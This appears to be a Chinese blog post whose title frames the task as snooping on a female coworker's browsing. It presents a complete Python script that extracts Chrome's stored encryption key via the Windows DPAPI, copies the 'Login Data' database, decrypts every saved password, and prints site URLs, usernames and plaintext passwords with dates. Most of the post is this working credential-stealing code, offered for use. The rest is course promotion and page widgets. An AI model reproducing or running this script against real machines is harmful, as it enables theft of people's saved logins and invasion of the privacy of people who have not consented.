同事女神小姐姐经常用网页浏览那种东西。用Python提取Chrome浏览器保存的密码!就自然找到是哪个网站了!

本文介绍了一个Python脚本,它通过解密AES加密的密码来提取Chrome浏览器保存的登录数据。脚本首先获取AES密钥,然后复制并连接到LoginData数据库,查询并显示包含用户名、密码、创建日期和最后使用日期的信息。
摘要由CSDN通过智能技术生成

decrypt_password() 将加密密码和 AES 密钥作为参数,并返回密码的解密版本。

下面是main主要功能:

def main():

获取AES密钥

key = get_encryption_key()

本地sqlite Chrome数据库路径

db_path = os.path.join(os.environ[“USERPROFILE”], “AppData”, “Local”,“Google”, “Chrome”, “User Data”, “default”, “Login Data”)

将文件复制到其他位置

因为如果chrome当前正在运行,数据库将被锁定

filename = “ChromeData.db”

shutil.copyfile(db_path, filename)

连接数据库

db = sqlite3.connect(filename)

cursor = db.cursor()

登录表中有我们需要的数据

cursor.execute(“select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created”)

iterate over all rows

for row in cursor.fetchall():

origin_url = row[0]

action_url = row[1]

username = row[2]

password = decrypt_password(row[3], key)

date_created = row[4]

date_last_used = row[5]

if username or password:

print(f"Origin URL: {origin_url}")

print(f"Action URL: {action_url}")

print(f"Username: {username}")

print(f"Password: {password}")

else:

continue

if date_created != 86400000000 and date_created:

print(f"Creation date: {str(get_chrome_datetime(date_created))}")

if date_last_used != 86400000000 and date_last_used:

print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")

print(“=”*50)

cursor.close()

db.close()

try:

尝试删除复制的db文件

os.remove(filename)

except:

pass

首先,我们使用之前定义的get_encryption_key()函数获取加密密钥,然后我们将 sqlite 数据库(位于"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"保存密码的位置)复制到当前目录并连接到它,这是因为原始数据库文件将被锁定Chrome 当前正在运行。

之后,我们对登录表进行选择查询并遍历所有登录行,我们还解密每个密码date_created并将date_last_used日期时间重新格式化为更易于阅读的格式。

最后,我们打印凭据并从当前目录中删除数据库副本。

让我们调用主函数,完美提取Chrome浏览器保存的密码:

完整代码

import os

import json

import base64

import sqlite3

import win32crypt

from Crypto.Cipher import AES

import shutil

from datetime import datetime, timedelta

def get_chrome_datetime(chromedate):

“”"从chrome格式的datetime返回一个datetime.datetime对象

因为’chromedate’的格式是1601年1月以来的微秒数"“”

return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():

local_state_path = os.path.join(os.environ[“USERPROFILE”],

“AppData”, “Local”, “Google”, “Chrome”,

“User Data”, “Local State”)

with open(local_state_path, “r”, encoding=“utf-8”) as f:

local_state = f.read()

local_state = json.loads(local_state)

key = base64.b64decode(local_state[“os_crypt”][“encrypted_key”])

key = key[5:]

return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_password(password, key):

try:

iv = password[3:15]

password = password[15:]

cipher = AES.new(key, AES.MODE_GCM, iv)

return cipher.decrypt(password)[:-16].decode()

except:

try:

return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])

except:

not supported

return “”

def main():

key = get_encryption_key()

db_path = os.path.join(os.environ[“USERPROFILE”], “AppData”, “Local”,

“Google”, “Chrome”, “User Data”, “default”, “Login Data”)

filename = “ChromeData.db”

shutil.copyfile(db_path, filename)

db = sqlite3.connect(filename)

cursor = db.cursor()

cursor.execute(“select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created”)

iterate over all rows

for row in cursor.fetchall():

origin_url = row[0]

action_url = row[1]

username = row[2]

password = decrypt_password(row[3], key)

date_created = row[4]

date_last_used = row[5]

if username or password:

print(f"Origin URL: {origin_url}")

print(f"Action URL: {action_url}")

print(f"Username: {username}")

print(f"Password: {password}")

else:

continue

if date_created != 86400000000 and date_created:

print(f"Creation date: {str(get_chrome_datetime(date_created))}")

if date_last_used != 86400000000 and date_last_used:

print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")

print(“=”*50)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友,可以戳这里无偿获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 30
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值